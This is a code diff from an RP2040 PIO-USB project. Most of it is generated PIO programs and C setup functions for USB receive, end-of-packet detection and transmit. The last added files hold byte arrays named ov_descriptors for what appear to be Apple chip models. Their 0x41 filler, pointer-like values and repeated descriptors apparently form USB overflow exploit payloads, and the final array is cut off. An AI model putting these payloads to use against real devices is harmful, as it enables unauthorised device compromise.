pio_sm_set_consecutive_pindirs(pio, sm, pin_dm, 2, false);
}
gpio_pull_down(pin_dp);
gpio_pull_down(pin_dm);
gpio_set_inover(pin_dp, GPIO_OVERRIDE_INVERT);
gpio_set_inover(pin_dm, GPIO_OVERRIDE_INVERT);
pio_sm_config c;
if (pin_debug < 0) {
c = usb_nrzi_decoder_program_get_default_config(offset);
} else {
c = usb_nrzi_decoder_debug_program_get_default_config(offset);
pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug);
pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug);
pio_gpio_init(pio, pin_debug);
sm_config_set_sideset_pins(&c, pin_debug);
}
sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN
sm_config_set_jmp_pin(&c, pin_dp); // for JMP
// Shift to right, autopull enabled, 8bit
sm_config_set_in_shift(&c, true, true, 8);
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX);
pio_sm_init(pio, sm, offset, &c);
pio_sm_exec(pio, sm, pio_encode_mov_not(pio_osr, pio_null));
pio_sm_set_enabled(pio, sm, false);
}
static inline void eop_detect_fs_program_init(PIO pio, uint sm, uint offset,
uint pin_dp, uint pin_dm, bool is_fs, int pin_debug) {
pio_sm_config c;
if (pin_debug < 0) {
c = usb_edge_detector_program_get_default_config(offset);
} else {
c = usb_edge_detector_debug_program_get_default_config(offset);
pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug);
pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug);
pio_gpio_init(pio, pin_debug);
sm_config_set_sideset_pins(&c, pin_debug);
}
sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN
sm_config_set_jmp_pin(&c, pin_dm); // for JMP
sm_config_set_in_shift(&c, false, false, 8);
float div;
if (is_fs) {
div = (float)clock_get_hz(clk_sys) / (96000000);
} else {
div = (float)clock_get_hz(clk_sys) / (12000000);
}
sm_config_set_clkdiv(&c, div);
pio_sm_init(pio, sm, offset, &c);
pio_sm_set_enabled(pio, sm, true);
}
%}
+233
View File
@@ -0,0 +1,233 @@
// -------------------------------------------------- //
// This file is autogenerated by pioasm; do not edit! //
// -------------------------------------------------- //
#pragma once
#if !PICO_NO_HARDWARE
#include "hardware/pio.h"
#endif
#define IRQ_RX_BS_ERR 1
#define IRQ_RX_EOP 2
#define IRQ_RX_START 3
#define DECODER_TRIGGER 4
// ----------------- //
// usb_edge_detector //
// ----------------- //
#define usb_edge_detector_wrap_target 3
#define usb_edge_detector_wrap 9
static const uint16_t usb_edge_detector_program_instructions[] = {
0xc022, // 0: irq wait 2
0x00c1, // 1: jmp pin, 1
0xc103, // 2: irq nowait 3 [1]
// .wrap_target
0xc104, // 3: irq nowait 4 [1]
0x00cc, // 4: jmp pin, 12
0x00cc, // 5: jmp pin, 12
0x00cc, // 6: jmp pin, 12
0x00cc, // 7: jmp pin, 12
0x00cc, // 8: jmp pin, 12
0x00cc, // 9: jmp pin, 12
// .wrap
0xa126, // 10: mov x, isr [1]
0x0040, // 11: jmp x--, 0
0xa1c3, // 12: mov isr, null [1]
0xc004, // 13: irq nowait 4
0x4001, // 14: in pins, 1
0x00ca, // 15: jmp pin, 10
0x0006, // 16: jmp 6
};
#if !PICO_NO_HARDWARE
static const struct pio_program usb_edge_detector_program = {
.instructions = usb_edge_detector_program_instructions,
.length = 17,
.origin = -1,
};
static inline pio_sm_config usb_edge_detector_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_edge_detector_wrap_target, offset + usb_edge_detector_wrap);
return c;
}
#endif
// ----------------------- //
// usb_edge_detector_debug //
// ----------------------- //
#define usb_edge_detector_debug_wrap_target 3
#define usb_edge_detector_debug_wrap 9
static const uint16_t usb_edge_detector_debug_program_instructions[] = {
0xc022, // 0: irq wait 2 side 0
0x10c1, // 1: jmp pin, 1 side 1
0xc103, // 2: irq nowait 3 side 0 [1]
// .wrap_target
0xc104, // 3: irq nowait 4 side 0 [1]
0x10cc, // 4: jmp pin, 12 side 1
0x10cc, // 5: jmp pin, 12 side 1
0x10cc, // 6: jmp pin, 12 side 1
0x10cc, // 7: jmp pin, 12 side 1
0x10cc, // 8: jmp pin, 12 side 1
0x10cc, // 9: jmp pin, 12 side 1
// .wrap
0xb126, // 10: mov x, isr side 1 [1]
0x1040, // 11: jmp x--, 0 side 1
0xb1c3, // 12: mov isr, null side 1 [1]
0xc004, // 13: irq nowait 4 side 0
0x4001, // 14: in pins, 1 side 0
0x00ca, // 15: jmp pin, 10 side 0
0x1006, // 16: jmp 6 side 1
};
#if !PICO_NO_HARDWARE
static const struct pio_program usb_edge_detector_debug_program = {
.instructions = usb_edge_detector_debug_program_instructions,
.length = 17,
.origin = -1,
};
static inline pio_sm_config usb_edge_detector_debug_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_edge_detector_debug_wrap_target, offset + usb_edge_detector_debug_wrap);
sm_config_set_sideset(&c, 1, false, false);
return c;
}
#endif
// ---------------- //
// usb_nrzi_decoder //
// ---------------- //
#define usb_nrzi_decoder_wrap_target 0
#define usb_nrzi_decoder_wrap 6
static const uint16_t usb_nrzi_decoder_program_instructions[] = {
// .wrap_target
0xe046, // 0: set y, 6
0x20c4, // 1: wait 1 irq, 4
0x0066, // 2: jmp !y, 6
0x00c7, // 3: jmp pin, 7
0x0028, // 4: jmp !x, 8
0x4061, // 5: in null, 1
0xa029, // 6: mov x, !x
// .wrap
0x0025, // 7: jmp !x, 5
0x40e1, // 8: in osr, 1
0x0081, // 9: jmp y--, 1
};
#if !PICO_NO_HARDWARE
static const struct pio_program usb_nrzi_decoder_program = {
.instructions = usb_nrzi_decoder_program_instructions,
.length = 10,
.origin = -1,
};
static inline pio_sm_config usb_nrzi_decoder_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_nrzi_decoder_wrap_target, offset + usb_nrzi_decoder_wrap);
return c;
}
#endif
// ---------------------- //
// usb_nrzi_decoder_debug //
// ---------------------- //
#define usb_nrzi_decoder_debug_wrap_target 0
#define usb_nrzi_decoder_debug_wrap 6
static const uint16_t usb_nrzi_decoder_debug_program_instructions[] = {
// .wrap_target
0xe046, // 0: set y, 6
0x20c4, // 1: wait 1 irq, 4
0x0066, // 2: jmp !y, 6
0x00c7, // 3: jmp pin, 7
0x1028, // 4: jmp !x, 8 side 0
0x4061, // 5: in null, 1
0xa029, // 6: mov x, !x
// .wrap
0x1825, // 7: jmp !x, 5 side 1
0x40e1, // 8: in osr, 1
0x0081, // 9: jmp y--, 1
};
#if !PICO_NO_HARDWARE
static const struct pio_program usb_nrzi_decoder_debug_program = {
.instructions = usb_nrzi_decoder_debug_program_instructions,
.length = 10,
.origin = -1,
};
static inline pio_sm_config usb_nrzi_decoder_debug_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_nrzi_decoder_debug_wrap_target, offset + usb_nrzi_decoder_debug_wrap);
sm_config_set_sideset(&c, 2, true, false);
return c;
}
#include "hardware/clocks.h"
#include "sdk_compat.h"
static inline void usb_rx_fs_program_init(PIO pio, uint sm, uint offset, uint pin_dp, uint pin_dm, int pin_debug) {
if (pin_dp < pin_dm) {
pio_sm_set_consecutive_pindirs(pio, sm, pin_dp, 2, false);
} else {
pio_sm_set_consecutive_pindirs(pio, sm, pin_dm, 2, false);
}
gpio_pull_down(pin_dp);
gpio_pull_down(pin_dm);
gpio_set_inover(pin_dp, GPIO_OVERRIDE_INVERT);
gpio_set_inover(pin_dm, GPIO_OVERRIDE_INVERT);
pio_sm_config c;
if (pin_debug < 0) {
c = usb_nrzi_decoder_program_get_default_config(offset);
} else {
c = usb_nrzi_decoder_debug_program_get_default_config(offset);
pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug);
pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug);
pio_gpio_init(pio, pin_debug);
sm_config_set_sideset_pins(&c, pin_debug);
}
sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN
sm_config_set_jmp_pin(&c, pin_dp); // for JMP
// Shift to right, autopush enabled, 8bit
sm_config_set_in_shift(&c, true, true, 8);
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX);
pio_sm_init(pio, sm, offset, &c);
pio_sm_exec(pio, sm, pio_encode_mov_not(pio_osr, pio_null));
pio_sm_set_enabled(pio, sm, false);
}
static inline void eop_detect_fs_program_init(PIO pio, uint sm, uint offset,
uint pin_dp, uint pin_dm, bool is_fs, int pin_debug) {
pio_sm_config c;
if (pin_debug < 0) {
c = usb_edge_detector_program_get_default_config(offset);
} else {
c = usb_edge_detector_debug_program_get_default_config(offset);
pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug);
pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug);
pio_gpio_init(pio, pin_debug);
sm_config_set_sideset_pins(&c, pin_debug);
}
sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN
sm_config_set_jmp_pin(&c, pin_dm); // for JMP
sm_config_set_in_shift(&c, false, false, 8);
float div;
if (is_fs) {
div = (float)clock_get_hz(clk_sys) / (96000000);
} else {
div = (float)clock_get_hz(clk_sys) / (12000000);
}
sm_config_set_clkdiv(&c, div);
pio_sm_init(pio, sm, offset, &c);
pio_sm_set_enabled(pio, sm, true);
}
#endif
+160
View File
@@ -0,0 +1,160 @@
; Copyright (c) 2021-2024 sekigon-gonnoc
.define public IRQ_TX_EOP 0 ; EOP start flag bit
; USB NRZI transmitter
; Run at 48 MHz for full-speed (x4)
; Run at 6 MHz for low-speed (x4)
; autopull enabled
; Should be placed at address 0
.program usb_tx_dpdm
.side_set 2
; J for fs, K for ls
.define public FJ_LK 0b01
; K for fs, J for ls
.define FK_LJ 0b10
.define SE0 0b00
irq IRQ_TX_EOP side SE0 [7]
reset:
.wrap_target
out pc, 2 side FJ_LK [3]
set pindirs, 0b00 side FJ_LK [3]
out pc, 2 side FK_LJ [3]
start:
set pindirs, 0b11 side FJ_LK
.wrap
; USB transmitter for PRE packet (No EOP)
; Run at 48 MHz for full-spped
; autopull enabled
.program usb_tx_pre_dpdm
.side_set 2
; J for fs, K for ls
.define FJ_LK 0b01
; K for fs, J for ls
.define FK_LJ 0b10
.define SE0 0b00
irq IRQ_TX_EOP side FJ_LK [7]
reset:
.wrap_target
out pc, 2 side FJ_LK [3]
set pindirs, 0b00 side FJ_LK [3]
out pc, 2 side FK_LJ [3]
start:
set pindirs, 0b11 side FJ_LK
.wrap
; USB NRZI transmitter
; Run at 48 MHz for full-speed
; Run at 6 MHz for low-speed
; autopull enabled
.program usb_tx_dmdp
.side_set 2
.define FK_LJ 0b01
.define public FJ_LK 0b10
.define SE0 0b00
irq IRQ_TX_EOP side SE0 [7]
reset:
.wrap_target
out pc, 2 side FJ_LK [3]
set pindirs, 0b00 side FJ_LK [3]
out pc, 2 side FK_LJ [3]
start:
set pindirs, 0b11 side FJ_LK
.wrap
; USB transmitter for PRE packet (No EOP)
; Run at 48 MHz for full-spped
; autopull enabled
.program usb_tx_pre_dmdp
.side_set 2
.define FK_LJ 0b01
.define FJ_LK 0b10
.define SE0 0b00
irq IRQ_TX_EOP side FJ_LK [7]
reset:
.wrap_target
out pc, 2 side FJ_LK [3]
set pindirs, 0b00 side FJ_LK [3]
out pc, 2 side FK_LJ [3]
start:
set pindirs, 0b11 side FJ_LK
.wrap
% c-sdk {
#include "hardware/clocks.h"
#include "sdk_compat.h"
static void __no_inline_not_in_flash_func(usb_tx_configure_pins)(PIO pio, uint sm, uint pin_dp, uint pin_dm) {
if (pin_dp < pin_dm) {
pio_sm_set_out_pins(pio, sm, pin_dp, 2);
pio_sm_set_set_pins(pio, sm, pin_dp, 2);
pio_sm_set_sideset_pins(pio, sm, pin_dp);
} else {
pio_sm_set_out_pins(pio, sm, pin_dm, 2);
pio_sm_set_set_pins(pio, sm, pin_dm, 2);
pio_sm_set_sideset_pins(pio, sm, pin_dm);
}
}
static inline void usb_tx_fs_program_init(PIO pio, uint sm, uint offset,
uint pin_dp, uint pin_dm) {
pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dp), ((1ull << pin_dp) | (1ull << pin_dm)));
gpio_pull_down(pin_dp);
gpio_pull_down(pin_dm);
pio_gpio_init(pio, pin_dp);
pio_gpio_init(pio, pin_dm);
pio_sm_config c = usb_tx_dpdm_program_get_default_config(offset);
// shifts to left, autopull, 8bit
sm_config_set_out_shift(&c, false, true, 8);
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX);
// run at 48MHz
// clk_sys should be multiply of 12MHz
float div = (float)clock_get_hz(clk_sys) / (48000000UL);
sm_config_set_clkdiv(&c, div);
pio_sm_init(pio, sm, offset + 1, &c);
usb_tx_configure_pins(pio, sm, pin_dp, pin_dm);
pio_sm_set_enabled(pio, sm, true);
}
static inline void usb_tx_ls_program_init(PIO pio, uint sm, uint offset,
uint pin_dp, uint pin_dm) {
pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dm), ((1ull << pin_dp) | (1ull << pin_dm)));
gpio_pull_down(pin_dp);
gpio_pull_down(pin_dm);
pio_gpio_init(pio, pin_dp);
pio_gpio_init(pio, pin_dm);
pio_sm_config c = usb_tx_dmdp_program_get_default_config(offset);
// shifts to left, autopull, 8bit
sm_config_set_out_shift(&c, false, true, 8);
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX);
// run at 6MHz
// clk_sys should be multiply of 12MHz
float div = (float)clock_get_hz(clk_sys) / (6000000UL);
sm_config_set_clkdiv(&c, div);
pio_sm_init(pio, sm, offset + 1, &c);
usb_tx_configure_pins(pio, sm, pin_dp, pin_dm);
pio_sm_set_enabled(pio, sm, true);
}
%}
+195
View File
@@ -0,0 +1,195 @@
// -------------------------------------------------- //
// This file is autogenerated by pioasm; do not edit! //
// -------------------------------------------------- //
#pragma once
#if !PICO_NO_HARDWARE
#include "hardware/pio.h"
#endif
#define IRQ_TX_EOP 0
// ----------- //
// usb_tx_dpdm //
// ----------- //
#define usb_tx_dpdm_wrap_target 1
#define usb_tx_dpdm_wrap 4
#define usb_tx_dpdm_FJ_LK 1
static const uint16_t __not_in_flash("tx_program") usb_tx_dpdm_program_instructions[] = {
0xc700, // 0: irq nowait 0 side 0 [7]
// .wrap_target
0x6ba2, // 1: out pc, 2 side 1 [3]
0xeb80, // 2: set pindirs, 0 side 1 [3]
0x73a2, // 3: out pc, 2 side 2 [3]
0xe883, // 4: set pindirs, 3 side 1
// .wrap
};
#if !PICO_NO_HARDWARE
static const struct pio_program __not_in_flash("tx_program") usb_tx_dpdm_program = {
.instructions = usb_tx_dpdm_program_instructions,
.length = 5,
.origin = -1,
};
static inline pio_sm_config usb_tx_dpdm_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_tx_dpdm_wrap_target, offset + usb_tx_dpdm_wrap);
sm_config_set_sideset(&c, 2, false, false);
return c;
}
#endif
// --------------- //
// usb_tx_pre_dpdm //
// --------------- //
#define usb_tx_pre_dpdm_wrap_target 1
#define usb_tx_pre_dpdm_wrap 4
static const uint16_t __not_in_flash("tx_program") usb_tx_pre_dpdm_program_instructions[] = {
0xcf00, // 0: irq nowait 0 side 1 [7]
// .wrap_target
0x6ba2, // 1: out pc, 2 side 1 [3]
0xeb80, // 2: set pindirs, 0 side 1 [3]
0x73a2, // 3: out pc, 2 side 2 [3]
0xe883, // 4: set pindirs, 3 side 1
// .wrap
};
#if !PICO_NO_HARDWARE
static const struct pio_program __not_in_flash("tx_program") usb_tx_pre_dpdm_program = {
.instructions = usb_tx_pre_dpdm_program_instructions,
.length = 5,
.origin = -1,
};
static inline pio_sm_config usb_tx_pre_dpdm_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_tx_pre_dpdm_wrap_target, offset + usb_tx_pre_dpdm_wrap);
sm_config_set_sideset(&c, 2, false, false);
return c;
}
#endif
// ----------- //
// usb_tx_dmdp //
// ----------- //
#define usb_tx_dmdp_wrap_target 1
#define usb_tx_dmdp_wrap 4
#define usb_tx_dmdp_FJ_LK 2
static const uint16_t __not_in_flash("tx_program") usb_tx_dmdp_program_instructions[] = {
0xc700, // 0: irq nowait 0 side 0 [7]
// .wrap_target
0x73a2, // 1: out pc, 2 side 2 [3]
0xf380, // 2: set pindirs, 0 side 2 [3]
0x6ba2, // 3: out pc, 2 side 1 [3]
0xf083, // 4: set pindirs, 3 side 2
// .wrap
};
#if !PICO_NO_HARDWARE
static const struct pio_program __not_in_flash("tx_program") usb_tx_dmdp_program = {
.instructions = usb_tx_dmdp_program_instructions,
.length = 5,
.origin = -1,
};
static inline pio_sm_config usb_tx_dmdp_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_tx_dmdp_wrap_target, offset + usb_tx_dmdp_wrap);
sm_config_set_sideset(&c, 2, false, false);
return c;
}
#endif
// --------------- //
// usb_tx_pre_dmdp //
// --------------- //
#define usb_tx_pre_dmdp_wrap_target 1
#define usb_tx_pre_dmdp_wrap 4
static const uint16_t __not_in_flash("tx_program") usb_tx_pre_dmdp_program_instructions[] = {
0xd700, // 0: irq nowait 0 side 2 [7]
// .wrap_target
0x73a2, // 1: out pc, 2 side 2 [3]
0xf380, // 2: set pindirs, 0 side 2 [3]
0x6ba2, // 3: out pc, 2 side 1 [3]
0xf083, // 4: set pindirs, 3 side 2
// .wrap
};
#if !PICO_NO_HARDWARE
static const struct pio_program __not_in_flash("tx_program") usb_tx_pre_dmdp_program = {
.instructions = usb_tx_pre_dmdp_program_instructions,
.length = 5,
.origin = -1,
};
static inline pio_sm_config usb_tx_pre_dmdp_program_get_default_config(uint offset) {
pio_sm_config c = pio_get_default_sm_config();
sm_config_set_wrap(&c, offset + usb_tx_pre_dmdp_wrap_target, offset + usb_tx_pre_dmdp_wrap);
sm_config_set_sideset(&c, 2, false, false);
return c;
}
#include "hardware/clocks.h"
#include "sdk_compat.h"
static void __no_inline_not_in_flash_func(usb_tx_configure_pins)(PIO pio, uint sm, uint pin_dp, uint pin_dm) {
if (pin_dp < pin_dm) {
pio_sm_set_out_pins(pio, sm, pin_dp, 2);
pio_sm_set_set_pins(pio, sm, pin_dp, 2);
pio_sm_set_sideset_pins(pio, sm, pin_dp);
} else {
pio_sm_set_out_pins(pio, sm, pin_dm, 2);
pio_sm_set_set_pins(pio, sm, pin_dm, 2);
pio_sm_set_sideset_pins(pio, sm, pin_dm);
}
}
static inline void usb_tx_fs_program_init(PIO pio, uint sm, uint offset,
uint pin_dp, uint pin_dm) {
pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dp), ((1ull << pin_dp) | (1ull << pin_dm)));
gpio_pull_down(pin_dp);
gpio_pull_down(pin_dm);
pio_gpio_init(pio, pin_dp);
pio_gpio_init(pio, pin_dm);
pio_sm_config c = usb_tx_dpdm_program_get_default_config(offset);
// shifts to left, autopull, 8bit
sm_config_set_out_shift(&c, false, true, 8);
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX);
// run at 48MHz
// clk_sys should be multiply of 12MHz
float div = (float)clock_get_hz(clk_sys) / (48000000UL);
sm_config_set_clkdiv(&c, div);
pio_sm_init(pio, sm, offset + 1, &c);
usb_tx_configure_pins(pio, sm, pin_dp, pin_dm);
pio_sm_set_enabled(pio, sm, true);
}
static inline void usb_tx_ls_program_init(PIO pio, uint sm, uint offset,
uint pin_dp, uint pin_dm) {
pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dm), ((1ull << pin_dp) | (1ull << pin_dm)));
gpio_pull_down(pin_dp);
gpio_pull_down(pin_dm);
pio_gpio_init(pio, pin_dp);
pio_gpio_init(pio, pin_dm);
pio_sm_config c = usb_tx_dmdp_program_get_default_config(offset);
// shifts to left, autopull, 8bit
sm_config_set_out_shift(&c, false, true, 8);
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX);
// run at 6MHz
// clk_sys should be multiply of 12MHz
float div = (float)clock_get_hz(clk_sys) / (6000000UL);
sm_config_set_clkdiv(&c, div);
pio_sm_init(pio, sm, offset + 1, &c);
usb_tx_configure_pins(pio, sm, pin_dp, pin_dm);
pio_sm_set_enabled(pio, sm, true);
}
#endif
+45
View File
@@ -0,0 +1,45 @@
const unsigned char ov_descriptors_t8006[] = {
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80,
0xfa, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21,
0x01, 0x0a, 0x00, 0x00, 0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb,
0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80,
0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00,
0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00,
0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0x00, 0x40, 0x0e, 0x16, 0x0b, 0x00, 0x00, 0x00, 0xc0, 0x00,
0x00, 0xfc, 0x1f, 0x00, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
+45
View File
@@ -0,0 +1,45 @@
const unsigned char ov_descriptors_t8020[] = {
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80,
0xfa, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21,
0x01, 0x0a, 0x00, 0x00, 0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb,
0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00,
0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00,
0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x0f, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
